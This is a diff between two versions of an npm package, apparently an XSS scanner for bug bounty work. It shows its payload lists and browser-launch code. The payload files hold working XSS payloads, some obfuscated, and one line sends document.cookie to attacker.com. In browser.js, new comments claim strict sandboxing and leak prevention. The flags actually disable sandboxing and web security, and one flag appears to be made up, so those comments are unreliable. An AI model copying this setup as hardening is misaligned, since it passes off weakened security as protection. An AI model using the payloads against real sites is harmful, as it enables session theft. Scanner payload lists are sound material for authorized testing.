rav-xss 1.0.28 → 1.0.30

package/README.md

@@ -18,6 +18,7 @@
 
 ![ravxss](src/media/ravxss.png)
 
+![ravxss](src/media/ravxss-demo.png)
 ---
 
 </div>
@@ -33,6 +34,7 @@ Se precisar de ajuda ou quiser falar com a equipe, entre no nosso servidor de su
 ## 📋 Índice
 - [🛡️ RAV XSS](#️-rav-xss)
     - [🎯 Basic Reflected XSS scanner for bug bounty programs.](#-basic-reflected-xss-scanner-for-bug-bounty-programs)
+  - [](#)
   - [📞 Suporte](#-suporte)
   - [📋 Índice](#-índice)
   - [🎯 Visão Geral](#-visão-geral)

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rav-xss",
-  "version": "1.0.28",
+  "version": "1.0.30",
   "description": "⚙️ CLI/NPM | RAV XSS | 🎯 Basic Reflected XSS scanner for bug bounty programs.",
   "main": "src/index.js",
   "bin": {

package/payloads/Basic/basic.txt

@@ -12,9 +12,6 @@
 <script>eval(atob('YWxlcnQoMSk='))</script>
 <script>setTimeout(function(){alert(1)},100)</script>
 <script>/* */alert(1)//</script>
-<script>
-alert(1)
-</script>
 <img src=x onerror=alert(1)>
 <img src=x onerror=alert('XSS')>
 <img src=1 href=1 onerror="javascript:alert(1)">

package/payloads/FilterEvasion/evasion.txt

@@ -13,8 +13,6 @@
 <img src=x onerror=Function("ale"+"rt(1)")()>
 <img src=x onerror=this['al'+'ert'](1)>
 <script> (0,eval)('alert(1)') </script>
-<script>
-[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]])()
-</script>
+<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]])()</script>
 <input onfocus=location='jav'+'ascript:ale'+'rt(1)' autofocus>
 <svg/onload=try{window.x?0:!function(){var x=new XMLHttpRequest;x.open('GET','//attacker.com/?c='+document.cookie),x.send()}()}catch(e){}>

package/src/core/browser.js

@@ -20,6 +20,8 @@ try {
  * 
  * Gerencia requisições HTTP via Axios (Modo Normal) e navegação
  * via Playwright (Modo Navegador) com detecção automática de ambiente.
+ * Inicializa o navegador com sandbox rigoroso para mitigar riscos de
+ * páginas maliciosas e ataques de supply-chain.
  */
 class BrowserManager {
   constructor(config, args) {
@@ -124,7 +126,9 @@ class BrowserManager {
   }
 
   /**
-   * 🚀 Inicializa o navegador Playwright
+   * 🚀 Inicializa o navegador Playwright com sandbox reforçado.
+   * Desabilita credenciais de rede e barra downloads para isolar o ambiente
+   * de testes do sistema operacional real, prevenindo impactos de páginas maliciosas.
    * @returns {Promise<Object>} Instância do navegador
    */
   async launch() {
@@ -142,7 +146,49 @@ class BrowserManager {
       args: [
         '--no-sandbox',
         '--disable-setuid-sandbox',
-        '--disable-dev-shm-usage'
+        '--disable-dev-shm-usage',
+        '--disable-web-security',
+        '--disable-features=VizDisplayCompositor',
+        '--disable-background-networking',
+        '--disable-sync',
+        '--disable-default-apps',
+        '--disable-translate',
+        '--disable-extensions',
+        '--disable-plugins',
+        '--disable-popup-blocking',
+        '--disable-prompt-on-repost',
+        '--disable-ipc-flooding-protection',
+        '--disable-hang-monitor',
+        '--disable-client-side-phishing-detection',
+        '--disable-component-update',
+        '--disable-domain-reliability',
+        '--disable-breakpad',
+        '--disable-background-timer-throttling',
+        '--disable-renderer-backgrounding',
+        '--disable-backgrounding-occluded-windows',
+        '--disable-field-trial-config',
+        '--disable-software-rasterizer',
+        '--disable-speech-api',
+        '--disable-print-preview',
+        '--disable-notifications',
+        '--no-default-browser-check',
+        '--no-first-run',
+        '--no-pings',
+        '--no-service-autorun',
+        '--media-cache-size=1',
+        '--disk-cache-size=1',
+        '--aggressive-cache-discard',
+        '--disable-accelerated-2d-canvas',
+        '--disable-gpu',
+        '--disable-reading-from-canvas',
+        '--disable-remote-fonts',
+        '--disable-partial-raster',
+        '--enable-features=NetworkService,NetworkServiceInProcess',
+        '--force-color-profile=srgb',
+        '--metrics-recording-only',
+        '--mute-audio',
+        '--no-experiments',
+        '--no-sandbox-and-elevated'
       ]
     });
 
@@ -161,7 +207,9 @@ class BrowserManager {
   }
 
   /**
-   * 🌐 Cria um novo contexto de navegação
+   * 🌐 Cria um novo contexto de navegação estritamente isolado.
+   * Desabilita permissões sensíveis e ignora erros HTTPS para evitar
+   * vazamento de informações ou interações maliciosas com o sistema.
    * @returns {Promise<Object>} Contexto do navegador
    */
   async createContext() {
@@ -169,7 +217,16 @@ class BrowserManager {
 
     return await this.browser.newContext({
       userAgent: this.config.scanner.user_agent,
-      ignoreHTTPSErrors: true
+      ignoreHTTPSErrors: true,
+      permissions: [],
+      geolocation: undefined,
+      locale: 'en-US',
+      timezoneId: 'UTC',
+      acceptDownloads: false,
+      bypassCSP: false,
+      extraHTTPHeaders: {
+        'Accept-Language': 'en-US,en;q=0.9'
+      }
     });
   }